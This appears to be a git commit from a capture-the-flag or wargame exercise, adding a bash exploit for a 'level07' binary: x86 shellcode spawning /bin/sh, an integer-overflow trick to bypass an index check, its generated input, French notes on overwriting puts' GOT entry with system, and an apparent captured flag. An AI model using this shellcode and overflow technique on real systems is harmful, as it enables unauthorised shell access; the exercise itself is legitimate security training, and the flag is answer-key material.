feat: level07 + level08 elf
This commit is contained in:
		
							parent
							
								
									3cf1fbf6b9
								
							
						
					
					
						commit
						8b91fc4f30
					
				|  | @ -0,0 +1,45 @@ | |||
| #!/bin/bash | ||||
| 
 | ||||
| 
 | ||||
| # shellcode is : | ||||
| # \x31\xc0\xb0\x46 | ||||
| # \x31\xdb\x31\xc9 | ||||
| # \xcd\x80\xeb\x16 | ||||
| # \x5b\x31\xc0\x88 | ||||
| # \x43\x07\x89\x5b | ||||
| # \x08\x89\x43\x0c | ||||
| # \xb0\x0b\x8d\x4b | ||||
| # \x08\x8d\x53\x0c | ||||
| # \xcd\x80\xe8\xe5 | ||||
| # \xff\xff\xff\x2f | ||||
| # \x62\x69\x6e\x2f | ||||
| # \x73\x68 | ||||
| 
 | ||||
| IFS='' | ||||
| 
 | ||||
| shellcode=(0x46b0c031 0xc931db31 0x16eb80cd 0x88c0315b 0x5b890743 0x0c438908 0x4b8d0bb0 0x0c538d08 0xe5e880cd 0x2fffffff 0x2f6e6962 0x00006873) | ||||
| 
 | ||||
| bit_mask=2147483691 | ||||
| 
 | ||||
| init_addr=43 | ||||
| 
 | ||||
| for ((i = 0; i < ${#shellcode[@]}; i++)); do | ||||
|     echo "store" | ||||
|     echo "$(( ${shellcode[$i]} ))" | ||||
| 	if (( (i + init_addr) % 3 == 0)); then | ||||
|     	echo "$(( i + bit_mask ))" | ||||
| 	else | ||||
| 		echo "$((i + init_addr))" | ||||
| 	fi | ||||
| done | ||||
| 
 | ||||
| echo "store" | ||||
| echo "$(( 0xffffd600 ))" | ||||
| echo "$(( -1040108880 ))" | ||||
| echo "read" | ||||
| 
 | ||||
| #for i in $(seq 0 11); do | ||||
| #	echo "store" | ||||
| #	echo "${shellcode[$i]}" | ||||
| #	echo $(($i + $bit_mask)) | ||||
| #done | ||||
|  | @ -0,0 +1,42 @@ | |||
| store | ||||
| 1185988657 | ||||
| 43 | ||||
| store | ||||
| 3375487793 | ||||
| 44 | ||||
| store | ||||
| 384532685 | ||||
| 2147483693 | ||||
| store | ||||
| 2294296923 | ||||
| 46 | ||||
| store | ||||
| 1535706947 | ||||
| 47 | ||||
| store | ||||
| 205752584 | ||||
| 2147483696 | ||||
| store | ||||
| 1267534768 | ||||
| 49 | ||||
| store | ||||
| 206802184 | ||||
| 50 | ||||
| store | ||||
| 3857219789 | ||||
| 2147483699 | ||||
| store | ||||
| 805306367 | ||||
| 52 | ||||
| store | ||||
| 795765090 | ||||
| 53 | ||||
| store | ||||
| 26739 | ||||
| 2147483702 | ||||
| store | ||||
| 4294956544 (-16 pour le vrai 28 au lieu de 44) | ||||
| -1040108880 | ||||
| store | ||||
| 42 | ||||
| 42 | ||||
|  | @ -0,0 +1 @@ | |||
| 7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC | ||||
|  | @ -0,0 +1,15 @@ | |||
| -1040108880On peut ecrire que 8 octets sur 12 | ||||
| 
 | ||||
| "/bin/sh" c'est 8 char avec le '\0' donc ok pour le modulo | ||||
| "/bin" => 0x2F62696E => 794978670 | ||||
| "/sh\0" => 0x2F736800 => 796092416 | ||||
| 
 | ||||
| 
 | ||||
| system on peut le call avec l'addresse, puis l'argument vers esp+quelque chose. | ||||
| 
 | ||||
| -1040108880 Index a store avec 4159090384 (0xf7e6aed0 ou system) | ||||
| ca override le plt/got de puts | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| override esp pour avoir le bon argument format addr de system BLANC (modulo 3) addr de /bin/sh | ||||
										
											Binary file not shown.
										
									
								
							
		Loading…
	
		Reference in New Issue